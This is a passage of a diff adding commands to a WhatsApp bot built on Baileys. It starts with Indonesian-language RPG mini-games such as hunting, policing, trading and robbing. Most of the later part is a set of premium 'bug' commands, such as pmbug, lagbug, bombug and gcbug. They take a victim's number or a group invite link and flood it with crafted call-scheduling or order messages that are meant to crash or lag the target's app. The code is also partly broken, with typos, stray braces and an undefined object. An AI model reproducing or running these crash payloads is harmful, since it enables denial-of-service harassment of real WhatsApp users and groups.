setTimeout(() => { + delete XeonBotInc.misi[id] + }, 27000) + ] + + setTimeout(() => { + replygcxeon(`${hsl}`) + }, 27000) + + setTimeout(() => { + replygcxeon(`${dimas4}`) + }, 25000) + + setTimeout(() => { + replygcxeon(`${dimas3}`) + }, 20000) + + setTimeout(() => { + replygcxeon(`${dimas2}`) + }, 15000) + + setTimeout(() => { + replygcxeon(`${dimas}`) + }, 10000) + + setTimeout(() => { + replygcxeon('๐Ÿ”Mencari pelanggan.....') + }, 0) + user.lastmisi = new Date * 1 + } else replygcxeon(`Silahkan Menunggu Selama ${timers}, Untuk Menyelesaikan Misi Kembali`) +} +break +//=========================================\\ +//=========================================\\ +case 'leaderboard': { + if (!m.isGroup) return reply(mess.only.group) +const getRandom = (ext) => { + return `${Math.floor(Math.random() * 10000)}${ext}` + } +const { areJidsSameUser } = require ('@whiskeysockets/baileys') +function sort(property, ascending = true) { + if (property) return (...args) => args[ascending & 1][property] - args[!ascending & 1][property] + else return (...args) => args[ascending & 1] - args[!ascending & 1] +} + +function toNumber(property, _default = 0) { + if (property) return (a, i, b) => { + return { ...b[i], [property]: a[property] === undefined ? _default : a[property] } + } + else return a => a === undefined ? _default : a +} + +function enumGetKey(a) { + return a.jid +} + + +/** + * Detect Number + * @param {Number} x + */ +function isNumber(number) { + if (!number) return number + number = parseInt(number) + return typeof number == 'number' && !isNaN(number) +} +const leaderboards = [ + 'level', + 'exp', + 'limit', + 'money', + 'iron', + 'gold', + 'diamond', + 'emerald', + 'trash', + 'joinlimit', + 'potion', + 'petFood', + 'wood', + 'rock', + 'string', + 'common', + 'uncommon', + 'mythic', + 'legendary', + 'pet', + 'bank', + 'chip', + 'skata' +] + let users = Object.entries(global.db.users).map(([key, value]) => { + return { + ...value, jid: key + } + }) + let imgr = getRandom() + let leaderboard = leaderboards.filter(v => v && users.filter(user => user && user[v]).length) + let type = (args[0] || '').toLowerCase() + const getPage = (item) => Math.ceil((users.filter(user => user && user[item]).length) / 0) + let wrong = `๐Ÿ”– แด›สแดฉแด‡ สŸษชsแด› : +${leaderboard.map(v => ` +โฎ• ${rpg.emoticon(v)} - ${v} +`.trim()).join('\n')} +โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“ +๐Ÿ’๐Ÿปโ€โ™‚ แด›ษชแดฉ : +โฎ• แด›แด แด ษชแด‡แดก แด…ษชา“า“แด‡ส€แด‡ษดแด› สŸแด‡แด€แด…แด‡ส€ส™แดแด€ส€แด…: +${command} [type] +โ˜… แด‡xแด€แดแดฉสŸแด‡: +${command} legendary`.trim() + if (!leaderboard.includes(type)) + return await reply('*โ€“โ€“โ€“โ€“ใ€Ž ๐™ป๐™ด๐™ฐ๐™ณ๐™ด๐š๐™ฑ๐™พ๐™ฐ๐š๐™ณ ใ€โ€“โ€“โ€“โ€“*\n' + wrong, { + contextInfo: { + + } + }) + let page = isNumber(args[1]) ? Math.min(Math.max(parseInt(args[1]), 0), getPage(type)): 0 + let sortedItem = users.map(toNumber(type)).sort(sort(type)) + let userItem = sortedItem.map(enumGetKey) + // let len = args[0] && args[0].length > 0 ? Math.min(100, Math.max(parseInt(args[0]), 5)) : Math.min(5, sortedExp.length) + let text = ` +๐Ÿ† ส€แด€ษดแด‹: ${userItem.indexOf(m.sender) + 1} แดแดœแด› แดา“ ${userItem.length} + + *โ€ข ${rpg.emoticon(type)} ${type} โ€ข* + +${sortedItem.slice(page * 0, page * 5 + 5).map((user, i) => `${i + 1}.*๏น™${user[type]}๏นš*- ${participants.some(p => areJidsSameUser(user.jid, p.id)) ? `${user.registered ? user.name: XeonBotInc.getName(user.jid)} \nwa.me/`: 'า“ส€แดแด แดแด›สœแด‡ส€ ษขส€แดแดœแดฉ\n @'}${user.jid.split`@`[0]}`).join`\n\n`} +`.trim() + return await reply(text,{ + contextInfo: { + mentionedJid: [...userItem.slice(page * 0, page * 5 + 5)].filter(v => !participants.some(p => areJidsSameUser(v, p.id))), + + } + }) +} +break +//=========================================\\ +case 'mulung': { + if (!m.isGroup) return reply(mess.only.group) + function msToTime(duration) { + var milliseconds = parseInt((duration % 1000) / 100), + seconds = Math.floor((duration / 1000) % 60), + minutes = Math.floor((duration / (1000 * 60)) % 60), + hours = Math.floor((duration / (1000 * 60 * 60)) % 24) + hours = (hours < 10) ? "0" + hours : hours + minutes = (minutes < 10) ? "0" + minutes : minutes + seconds = (seconds < 10) ? "0" + seconds : seconds + return hours + " jam " + minutes + " menit " + seconds + " detik" +} + let user = global.db.users[m.sender] + let time = user.lastmulung + 1800000 + + if (new Date - user.lastmulung < 1800000) return replygcxeon(`Anda sudah lelah untuk mulung\nTunggu selama ${msToTime(time - new Date())} lagi`) + + let botol = Math.floor(Math.random() * 1000) + let kaleng = Math.floor(Math.random() * 1000) + let kardus = Math.floor(Math.random() * 1000) + let gelas = Math.floor(Math.random() * 1000) + let plastik = Math.floor(Math.random() * 1000) + + user.botol += botol * 1 + user.kaleng += kaleng * 1 + user.kardus += kardus * 1 + user.gelas += gelas * 1 + user.plastik += plastik * 1 + user.lastmulung = new Date * 1 + + replygcxeon(`Selamat kamu mendapatkan : \n+${botol} Botol\n+${kaleng} Kaleng\n+${kardus} Kardus\n+${gelas} Gelas\n+${plastik} Plastik`) +} +break +//=========================================\\ +case 'berburu': { + if (!m.isGroup) return reply(mess.only.group) + function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + console.log({ms,h,m,s}) + return [h, m, s].map(v => v.toString().padStart(2, 0) ).join(':') +} + let __timers = (new Date - global.db.users[m.sender].lastmisi) + let _timers = (3600000 - __timers) + let timers = clockString(_timers) + let name = XeonBotInc.getName(m.sender) + let user = global.db.users[m.sender] + let id = m.sender + let kerja = 'Berburu' + XeonBotInc.misi = XeonBotInc.misi ? XeonBotInc.misi : {} + if (id in XeonBotInc.misi) { + return replygcxeon( `Selesaikan Misi ${XeonBotInc.misi[id][0]} Terlebih Dahulu`) + } + if (new Date - user.lastmisi > 3600000) { + let hewan1 = Math.floor(Math.random() * 10) + let hewan2 = Math.floor(Math.random() * 10) + let hewan3 = Math.floor(Math.random() * 10) + let hewan4 = Math.floor(Math.random() * 10) + let hewan5 = Math.floor(Math.random() * 10) + let hewan6 = Math.floor(Math.random() * 10) + let hewan7 = Math.floor(Math.random() * 10) + let hewan8 = Math.floor(Math.random() * 10) + let hewan9 = Math.floor(Math.random() * 10) + let hewan10 = Math.floor(Math.random() * 10) + let hewan11 = Math.floor(Math.random() * 10) + let hewan12 = Math.floor(Math.random() * 10) + + let hsl = `๐Ÿ•ธ *Hasil Berburu ${user.registered ? user.name : XeonBotInc.getName(m.sender)}* +${hewan1 ? ` +๐Ÿ‚ Banteng: ${hewan1}` : ''} ${hewan2 ? ` +๐Ÿ… Harimau: ${hewan2}` : ''} ${hewan3 ? ` +๐Ÿ˜ Gajah: ${hewan3}` : ''} ${hewan4 ? ` +๐Ÿ Kambing: ${hewan4}` : ''} ${hewan5 ? ` +๐Ÿผ Panda: ${hewan5}` : ''} ${hewan6 ? ` +๐ŸŠ Buaya: ${hewan6}` : ''} ${hewan7 ? ` +๐Ÿƒ Kerbau: ${hewan7}` : ''} ${hewan8 ? ` +๐Ÿฎ Sapi: ${hewan8}` : ''} ${hewan9 ? ` +๐Ÿ’ Monyet: ${hewan9}` : ''} ${hewan10 ? ` +๐Ÿ— Babi Hutan: ${hewan10}` : ''} ${hewan11 ? ` +๐Ÿ– Babi: ${hewan11}` : ''} ${hewan12 ? ` +๐Ÿ“ Ayam: ${hewan12}` : ''} +`.trim() + + user.banteng += hewan1 + user.harimau += hewan2 + user.gajah += hewan3 + user.kambing += hewan4 + user.panda += hewan5 + user.buaya += hewan6 + user.kerbau += hewan7 + user.sapi += hewan8 + user.monyet += hewan9 + user.babihutan += hewan10 + user.babi += hewan11 + user.ayam += hewan12 + + XeonBotInc.misi[id] = [ + kerja, + setTimeout(() => { + delete XeonBotInc.misi[id] + }, 20000) + ] + + setTimeout(() => { + replygcxeon(`${hsl}`) + }, 20000) + + setTimeout(() => { + replygcxeon(`Nah ini dia`) + }, 18000) + + setTimeout(() => { + replygcxeon('Dorr๐Ÿ”ฅ') + }, 15000) + + setTimeout(() => { + replygcxeon('Dapat Sasaran') + }, 14000) + + setTimeout(() => { + replygcxeon('Sedang mencari mangsa...') + }, 0) + user.lastmisi = new Date * 1 + } else replygcxeon(`Silahkan Menunggu Selama ${timers}, Untuk Menyelesaikan Misi Kembali`) +} +break + +//=========================================\\ +case 'polisi': { + if (!m.isGroup) return reply(mess.only.group) +function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + console.log({ms,h,m,s}) + return [h, m, s].map(v => v.toString().padStart(2, 0) ).join(':') +} + let __timers = (new Date - global.db.users[m.sender].lastmisi) + let _timers = (3600000 - __timers) + let order = global.db.users[m.sender].ojekk + let timers = clockString(_timers) + let name = XeonBotInc.getName(m.sender) + let user = global.db.users[m.sender] + let id = m.sender + let kerja = 'Polisi' + XeonBotInc.misi = XeonBotInc.misi ? XeonBotInc.misi: {} + if (id in XeonBotInc.misi) { + replygcxeon(`Selesaikan Misi ${XeonBotInc.misi[id][0]} Terlebih Dahulu`) + throw false + } + if (new Date - global.db.users[m.sender].lastmisi > 3600000) { + let randomaku1 = Math.floor(Math.random() * 10) + let randomaku2 = Math.floor(Math.random() * 10) + + let rbrb1 = (randomaku1 * 100000) + let rbrb2 = (randomaku2 * 1000) + + var dimas = ` +๐Ÿ‘ฎMengejar Pencuri.... +`.trim() + + var dimas2 = ` +๐Ÿ‘ฎMenangkap pencuri.... +`.trim() + + var dimas3 = ` +๐Ÿš”Membawa ke kantor polisi\nDan di penjara +`.trim() + + var dimas4 = ` +โž• ๐Ÿ’นMenerima gaji.... +`.trim() + + var hsl = ` +*โ€”[ Hasil Polisi ${name} ]โ€”* +โž• ๐Ÿ’น Uang = [ ${rbrb1} ] +โž• โœจ Exp = [ ${rbrb2} ] +โž• ๐Ÿ˜ Order Selesai = +1 +โž• ๐Ÿ“ฅTotal Order Sebelumnya : ${order} +`.trim() + + user.money += rbrb1 + user.exp += rbrb2 + user.ojekk += 1 + + XeonBotInc.misi[id] = [ + kerja, + setTimeout(() => { +delete XeonBotInc.misi[id] + }, 27000) + ] + + setTimeout(() => { + replygcxeon(`${hsl}`) + }, 27000) + + setTimeout(() => { + replygcxeon(`${dimas4}`) + }, 25000) + + setTimeout(() => { + replygcxeon(`${dimas3}`) + }, 20000) + + setTimeout(() => { + replygcxeon(`${dimas2}`) + }, 15000) + + setTimeout(() => { + replygcxeon(`${dimas}`) + }, 10000) + + setTimeout(() => { + replygcxeon('??Sedang Berpatroli.....') + }, 0) + user.lastmisi = new Date * 1 + } else replygcxeon(`Silahkan Menunggu Selama ${timers}, Untuk Menyelesaikan Misi Kembali`) +} +break +//=========================================\\ +// let pajak = 0.02 +case 'berdagang': { + if (!m.isGroup) return reply(mess.only.group) +function pickRandom(list) { + return list[Math.floor(Math.random() * list.length)] +} +function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + console.log({ms,h,m,s}) + return [h, m, s].map(v => v.toString().padStart(2, 0) ).join(':') +} + + let dapat = (Math.floor(Math.random() * 5000)) + let who + if (m.isGroup) who = m.mentionedJid[0] + else who = m.chat + if (!who) return replygcxeon ('Tag salah satu lah, yang kamu ingin berdagang bareng') + if (typeof db.users[who] == 'undefined') return replygcxeon('Pengguna tidak ada didalam data base') + let __timers = (new Date - global.db.users[m.sender].lastdagang) + let _timers = (28800000 - __timers) + let timers = clockString(_timers) + let users = global.db.users + let username = XeonBotInc.getName(who) + if (new Date - global.db.users[m.sender].lastdagang > 28800000) { + if (4999 > users[who].money) return replygcxeon ('Target tidak memiliki modal harap masukkan modal 5000') + if (4999 > users[m.sender].money) return replygcxeon ('kamu tidak memiliki modal harap masukkan modal 5000') + users[who].money -= dapat * 1 + users[m.sender].money -= dapat * 1 + global.db.users[m.sender].lastdagang = new Date * 1 + replygcxeon(`Mohon tunggu kak..\nKamu dan @${who.replace(/@.+/, '')} sedang berdagang.. รฐลธหœโ€ฆ\n\nKamu dan @${who.replace(/@.+/, '')} meletakkan modal -${dapat} รฐลธหœโ€ฆ`) + setTimeout(() => { + replygcxeon(m.chat, `Selamat kamu dan @${who.replace(/@.+/, '')} mendapatkan money..\n\nPenghasilan dagang kamu didapatkan +50000\n${users[m.sender].money += 50000} Money kamu\n\nPenghasilan dagang @${who.replace(/@.+/, '')} didapatkan +50000\n${users[who].money += 50000} Money @${who.replace(/@.+/, '')}`, m, { +contextInfo: { +mentionedJid: [m.sender, who] +}}) + }, 3600000) + setTimeout(() => { + replygcxeon(`Selamat kamu dan @${who.replace(/@.+/, '')} mendapatkan money..\n\nPenghasilan dagang kamu didapatkan +50000\n${users[m.sender].money += 50000} Money kamu\n\nPenghasilan dagang @${who.replace(/@.+/, '')} didapatkan +50000\n${users[who].money += 50000} Money @${who.replace(/@.+/, '')}`, { +contextInfo: { +mentionedJid: [m.sender, who] +}}) + }, 7200000) + setTimeout(() => { + replygcxeon( `Selamat kamu dan @${who.replace(/@.+/, '')} mendapatkan money..\n\nPenghasilan dagang kamu didapatkan +50000\n${users[m.sender].money += 50000} Money kamu\n\nPenghasilan dagang @${who.replace(/@.+/, '')} didapatkan +50000\n${users[who].money += 50000} Money @${who.replace(/@.+/, '')}`,{ +contextInfo: { +mentionedJid: [m.sender, who] +}}) + }, 10800000) + setTimeout(() => { + replygcxeon( `Selamat kamu dan @${who.replace(/@.+/, '')} mendapatkan money..\n\nPenghasilan dagang kamu didapatkan +50000\n${users[m.sender].money += 50000} Money kamu\n\nPenghasilan dagang @${who.replace(/@.+/, '')} didapatkan +50000\n${users[who].money += 50000} Money @${who.replace(/@.+/, '')}`,{ +contextInfo: { +mentionedJid: [m.sender, who] +}}) + }, 14400000) + setTimeout(() => { + replygcxeon( `Selamat kamu dan @${who.replace(/@.+/, '')} mendapatkan money..\n\nPenghasilan dagang kamu didapatkan +50000\n${users[m.sender].money += 50000} Money kamu\n\nPenghasilan dagang @${who.replace(/@.+/, '')} didapatkan +50000\n${users[who].money += 50000} Money @${who.replace(/@.+/, '')}`,{ +contextInfo: { +mentionedJid: [m.sender, who] +}}) + }, 18000000) + setTimeout(() => { + replygcxeon( `Selamat kamu dan @${who.replace(/@.+/, '')} mendapatkan money..\n\nPenghasilan dagang kamu didapatkan +50000\n${users[m.sender].money += 50000} Money kamu\n\nPenghasilan dagang @${who.replace(/@.+/, '')} didapatkan +50000\n${users[who].money += 50000} Money @${who.replace(/@.+/, '')}`,{ +contextInfo: { +mentionedJid: [m.sender, who] +}}) + }, 21600000) + setTimeout(() => { + replygcxeon( `Selamat kamu dan @${who.replace(/@.+/, '')} mendapatkan money..\n\nPenghasilan dagang kamu didapatkan +50000\n${users[m.sender].money += 50000} Money kamu\n\nPenghasilan dagang @${who.replace(/@.+/, '')} didapatkan +50000\n${users[who].money += 50000} Money @${who.replace(/@.+/, '')}`,{ +contextInfo: { +mentionedJid: [m.sender, who] +}}) + }, 25200000) + setTimeout(() => { + replygcxeon( `Selamat kamu dan @${who.replace(/@.+/, '')} mendapatkan money..\n\nPenghasilan dagang kamu didapatkan +10000\n${users[m.sender].money += 10000} Money kamu\n\nPenghasilan dagang @${who.replace(/@.+/, '')} didapatkan +100000\n${users[who].money += 100000} Money @${who.replace(/@.+/, '')}`,{ +contextInfo: { +mentionedJid: [m.sender, who] +}}) + }, 28800000) + } else replygcxeon(`Anda Sudah Berdagang , tunggu ${timers} lagi..`) + +} +break + +//=========================================\\ +case 'merampok': + case 'rampok': { + if (!m.isGroup) return reply(mess.only.group) +function pickRandom(list) { + return list[Math.floor(Math.random() * list.length)] +} + +function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':') +} + let dapat = (Math.floor(Math.random() * 100000)) + let users = global.db.users + let who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted.sender + if (!who) return replygcxeon('Tag orang yang mau kamu Rampok!') + if (typeof global.db.users[who] == 'undefined') return replygcxeon('Pengguna tidak ada didalam database') + if (users[who].level > users[m.sender].level) return replygcxeon(`Level kamu harus lebih tinggi dari @${who.split('@')[0]} Untuk bisa merampoknya!`, false, { mentions: [who] }) + let __timers = (new Date - global.db.users[m.sender].lastrampok) + let _timers = (3600000 - __timers) + let timers = clockString(_timers) + if (new Date - global.db.users[m.sender].lastrampok > 3600000) { + if (10000 > users[who].money) return replygcxeon('แด›แด€ส€ษขแด‡แด› ษขแด€แด€แด…แด€ ๐Ÿ’ฐแดœแด€ษดษข ส™แดแด…แดสœ, แด‹ษช๊œฑแดษชษด แด…ษชแด€') + users[who].money -= dapat * 1 + users[m.sender].money += dapat * 1 + global.db.users[m.sender].lastrampok = new Date * 1 + replygcxeon( `ส™แด‡ส€สœแด€๊œฑษชสŸ แดแด‡ส€แด€แดแด˜แดแด‹ แดแดษดแด‡ส แด›แด€ส€ษขแด‡แด› ๊œฑแด‡ส™แด‡๊œฑแด€ส€ ๐Ÿ’ฐ${dapat}`) + } else replygcxeon( `Anda Sudah merampok dan berhasil sembunyi , tunggu ${timers} untuk merampok lagi`) +} +break +//=========================================\\ +case 'delsesi': + case 'clearsession': { +fs.readdir("./session", async function (err, files) { +if (err) { +console.log('Unable to scan directory: ' + err); +return replygcxeon('Unable to scan directory: ' + err); +} +let filteredArray = await files.filter(item => item.startsWith("pre-key") || +item.startsWith("sender-key") || item.startsWith("session-") || item.startsWith("app-state") + ) +console.log(filteredArray.length); +let teks =`Terdeteksi ${filteredArray.length} file kenangan <3\n\n` +if(filteredArray.length == 0) return replygcxeon(`${teks}`) +filteredArray.map(function(e, i){ +teks += (i+1)+`. ${e}\n` +}) +replygcxeon(`${teks}`) +await sleep(2000) +replygcxeon("Menghapus file Kenangan...") +await filteredArray.forEach(function (file) { +fs.unlinkSync(`./session/${file}`) +}); +await sleep(2000) +replygcxeon("Berhasil menghapus semua Kenangan di folder session") +}); +} +break +//====================================================================== +case 'amountbug': { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return relygcxeon(`Use ${prefix+command} amount\nExample ${prefix+command} 5`) +amount = `${encodeURI(text)}` +for (let i = 0; i < amount; i++) { +const xeonybug1 = `${xeontext1}` +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(from, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent as many bugs as ${amount} Please pause for 3 minutes*`) +break +//====================================================================== +case 'pmbug' :{ + if (!isPrem) return replyprem(mess.premium) + if (!args[0]) return replygcxeon(`Use ${prefix+command} number\nExample ${prefix+command} 6285892928715`) + reply(mess.wait) +victim = text.split("|")[0]+'@s.whatsapp.net' +amount = "30" +for (let i = 0; i < amount; i++) { +const xeonybug1 = `${xeontext1}` +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(victim, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent Bug To ${victim} Please pause for 3 minutes*`) +break +//============================================================ +case 'delaybug' : { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} number\nExample ${prefix+command} 916909137213`) +reply(mess.wait) +victim = text.split("|")[0]+'@s.whatsapp.net' +amount = "30" +for (let i = 0; i < amount; i++) { +const xeonybug1 = xeontext2 +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(victim, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully Sent Bug To ${victim} Please pause for 3 minutes*`) +break +//=========================================\\ +case 'trollybug': { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} number\nExample ${prefix+command} 916909137213`) +reply(mess.wait) +victim = text.split("|")[0]+'@s.whatsapp.net' +amount = "15" +for (let i = 0; i < amount; i++) { +var order = generateWAMessageFromContent(from, proto.Message.fromObject({ +"orderMessage": { +"orderId": "599519108102353", +"thumbnail": thumb, +"itemCount": 1999, +"status": "INQUIRY", +"surface": "CATALOG", +"message": `${botname}`, +"orderTitle": " TROLLY BUG ", +"sellerJid": "916909137213@s.whatsapp.net", +"token": "AR6z9PAvHjs9Qa7AYgBUjSEvcnOcRWycFpwieIhaMKdrhQ==" +} +}), { userJid: from, quoted:m}) +XeonBotInc.relayMessage(victim, order.message, { messageId: order.key.id }) +} +replygcxeon(`*Successfully sent Bug To ${victim} Please pause for 3 minutes*`) +} +break +//============================================================= +case 'docubug': { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} number\nExample ${prefix+command} 916909137213`) +await loading() +if (args.length < 1) return replygcxeon(`Use ${prefix+command} number\nExample ${prefix+command} 916909137213`) +victim = text.split("|")[0]+'@s.whatsapp.net' +amount = "15" +for (let i = 0; i < amount; i++) { +const xeonybug1 = `${xeontext1}` +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(victim, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent Bug To ${victim} Please pause for 3 minutes*`) +break +case 'unlimitedbug' : { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} number\nExample ${prefix+command} 916909137213`) +await loading() +victim = text.split("|")[0]+'@s.whatsapp.net' +amount = "30" +for (let i = 0; i < amount; i++) { +const xeonybug1 = xeontext3 +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(victim, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent Bug To ${victim} Please pause for 3 minutes*`) +break +case 'bombug': { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} number\nExample ${prefix+command} 916909137213`) +await loading() +victim = text.split("|")[0]+'@s.whatsapp.net' +amount = "30" +for (let i = 0; i < amount; i++) { +const xeonybug1 = xeontext4 +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(victim, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent Bug To ${victim} Please pause for 3 minutes*`) +break +//============================================================= +case 'lagbug' : { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} number\nExample ${prefix+command} 916909137213`) +await loading() +victim = text.split("|")[0]+'@s.whatsapp.net' +amount = "30" +for (let i = 0; i < amount; i++) { +const xeonybug1 = xeontext2 +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(victim, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent Bug To ${victim} Please pause for 3 minutes*`) +break +//============================================================= +case 'gcbug' : { +if (!isPrem) return replyprem(mess.premium) + if (!args[0]) return replygcxeon(`Use ${prefix+command} link\nExample ${prefix+command} https://chat.whatsapp.com/JVKKTg3rmmiKEL3MQBVplg`) +await loading() +let result = args[0].split('https://chat.whatsapp.com/')[1] +let xeongc = await XeonBotInc.groupAcceptInvite(result) +amount = "30" +for (let i = 0; i < amount; i++) { +const xeonybug1 = `${xeontext1}` +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(xeongc, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent Bug To ${xeongc} Please pause for 3 minutes*`) +break +case 'delaygcbug' : { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} link\nExample ${prefix+command} https://chat.whatsapp.com/JVKKTg3rmmiKEL3MQBVplg`) +await loading() +let result = args[0].split('https://chat.whatsapp.com/')[1] +let xeongc = await XeonBotInc.groupAcceptInvite(result) +amount = "30" +for (let i = 0; i < amount; i++) { +const xeonybug1 = xeontext5 +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(xeongc, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent Bug To ${xeongc} Please pause for 3 minutes*`) +break +case 'laggcbug' : { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} link\nExample ${prefix+command} https://chat.whatsapp.com/JVKKTg3rmmiKEL3MQBVplg`) +await loading() +let result = args[0].split('https://chat.whatsapp.com/')[1] +let xeongc = await XeonBotInc.groupAcceptInvite(result) +amount = "30" +for (let i = 0; i < amount; i++) { +const xeonybug1 = xeontext2 +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(xeongc, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent Bug To ${xeongc} Please pause for 3 minutes*`) +break +//============================================================= +case 'bomgcbug' : { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} link\nExample ${prefix+command} https://chat.whatsapp.com/JVKKTg3rmmiKEL3MQBVplg`) +await loading() +let result = args[0].split('https://chat.whatsapp.com/')[1] +let xeongc = await haikal.groupAcceptInvite(result) +amount = "30" +for (let i = 0; i < amount; i++) { +const xeonybug1 = xeontext4 +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(xeongc, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent Bug To ${xeongc} Please pause for 3 minutes*`) +break +case 'unlimitedgcbug' : { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} link\nExample ${prefix+command} https://chat.whatsapp.com/JVKKTg3rmmiKEL3MQBVplg`) +await loading() +let result = args[0].split('https://chat.whatsapp.com/')[1] +let xeongc = await XeonBotInc.groupAcceptInvite(result) +amount = "30" +for (let i = 0; i < amount; i++) { +const xeonybug1 = xeontext3 +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY 